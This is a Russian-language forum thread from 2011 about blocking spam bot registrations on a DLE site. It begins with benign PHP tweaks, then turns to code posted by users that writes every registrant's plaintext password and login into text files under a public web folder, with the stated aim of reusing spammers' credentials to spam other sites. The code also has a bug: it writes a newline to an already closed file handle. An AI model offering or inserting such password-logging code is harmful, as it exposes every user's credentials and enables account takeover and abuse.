22 Мая 2018, 18:35:13

Автор Тема: Антиспам  (Прочитано 1998 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Avalanche

  • Гость
Антиспам
« : 26 Июля 2011, 16:13:31 »
У меня в последнее время стало регистрироваться много спамеров с похожими 8-значными логинами. Так как меня достало их удалять, а регятся они автоматом а не вживую, я со своим нулевым знанием PHP изобрел дейвственный метод против них.

Открываем файл www/engine/modules/register.php и после строчки

if( strlen( $name ) > 20 ) $stop .= $lang['reg_err_3'];
добавляем

if( strlen( $name ) == 8 ) $stop .= $lang['reg_err_34'];
Открываем файл www/languages/Russian/website.lng и в конце вставляем

'reg_err_34' => "<li>Из-за спама нам пришлось ввести ограничение на длину логина, так как спам боты используют именно 8-значные логины.</li>",
Все! Единственный минус метода - никто, даже обычные люди теперь не смогут зарегаться с 8-значным логином. Только через админку.

Не бейте сильно это мой первый хак! :D

Оффлайн Tappo4eK

  • Старожил
  • ****
  • Сообщений: 428
  • Репутация: 6
  • Пол: Мужской
  • ت
    • Enter-Games.ru™ - Войди в игровой мир!
Re: Антиспам
« Ответ #1 : 26 Июля 2011, 16:19:15 »
Спасибо.. но есть хак "дополнительный вопрос при регистрации" раньше тоже спама было много пока его не поставил... и никаких ограничений)

Avalanche

  • Гость
Re: Антиспам
« Ответ #2 : 26 Июля 2011, 16:30:37 »
Спасибо попробую! :yes:

Оффлайн -DRUM-

  • Администратор
  • Ветеран
  • *****
  • Сообщений: 2 560
  • Репутация: 182
  • Пол: Мужской
  • Поехали!
    • Бесплатный хостинг от "Интернет Обсерватории"
Re: Антиспам
« Ответ #3 : 26 Июля 2011, 21:43:41 »
не обязатльно ставить ограничения на колличество символов, можно просто заать другое имя скрипту регистрации, ну и соотвестственно пути переписаь к нему.
я поменял и ни одного спамера :)
billing.intobs.ru

Оффлайн Caladon

  • Администраторы
  • Ветеран
  • *****
  • Сообщений: 1 350
  • Репутация: 76
  • Пол: Мужской
Re: Антиспам
« Ответ #4 : 26 Июля 2011, 22:43:28 »
... или поменять имена полей, тоже верный способ)
Боец невидимого фронта.

>>> правила хостинга <<<
>>> раздача брошенных сайтов <<<

Kutlymurat

  • Гость
Re: Антиспам
« Ответ #5 : 27 Июля 2011, 06:50:32 »
А я бы сделал сохранение паролей без md5! Если бы я это сделал:
Теперь могу сам спамить другие сайты, ведь я знаю пароли спамеров! Достаточно вбить в гугл inurl:"/users/Spamer" и выйдет список сайтов на котором спамер сделал свои дела.... Осатется спарсить и проспамить Fillin-ом  :good:
« Последнее редактирование: 27 Июля 2011, 06:51:08 от Kutlymurat »

Avalanche

  • Гость
Re: Антиспам
« Ответ #6 : 27 Июля 2011, 09:14:01 »
Да легко.

В файле /www/engine/modules/register.php после строки

$email = $db->safesql( $parse->process( $_POST['email'] ) );
добавляешь

$DOCUMENT_ROOT=$_SERVER['DOCUMENT_ROOT'];
$fp=fopen("$DOCUMENT_ROOT/pass/pass.txt", 'ab');
fwrite($fp, $password1, strlen($password1));
fclose($fp);
$fn=fopen("$DOCUMENT_ROOT/pass/name.txt", 'ab');
fwrite($fn, $name, strlen($name));
fclose($fn);

В каталоге /www/ создаешь папку /pass

После регистрации человека появятся два файла, name.txt и pass.txt. По строкам будет совпадение логинов и паролей. При регистрации второго спамера в файлы добавится вторая строка, итп

Avalanche

  • Гость
Re: Антиспам
« Ответ #7 : 27 Июля 2011, 09:26:46 »
ой сорри
$n="\n";
$DOCUMENT_ROOT=$_SERVER['DOCUMENT_ROOT'];
$fp=fopen("$DOCUMENT_ROOT/pass/pass.txt", 'ab');
fwrite($fp, $password1, strlen($password1));
fwrite($fp, $n);
fclose($fp);
$fn=fopen("$DOCUMENT_ROOT/pass/name.txt", 'ab');
fwrite($fn, $name, strlen($name));
fwrite($fp, $n);
fclose($fn);

Оффлайн Tappo4eK

  • Старожил
  • ****
  • Сообщений: 428
  • Репутация: 6
  • Пол: Мужской
  • ت
    • Enter-Games.ru™ - Войди в игровой мир!
Re: Антиспам
« Ответ #8 : 19 Сентября 2011, 16:32:51 »
ой сорри
$n="\n";
$DOCUMENT_ROOT=$_SERVER['DOCUMENT_ROOT'];
$fp=fopen("$DOCUMENT_ROOT/pass/pass.txt", 'ab');
fwrite($fp, $password1, strlen($password1));
fwrite($fp, $n);
fclose($fp);
$fn=fopen("$DOCUMENT_ROOT/pass/name.txt", 'ab');
fwrite($fn, $name, strlen($name));
fwrite($fp, $n);
fclose($fn);
Прикольно работает. Но там минус один каша получается,еслиб через строку)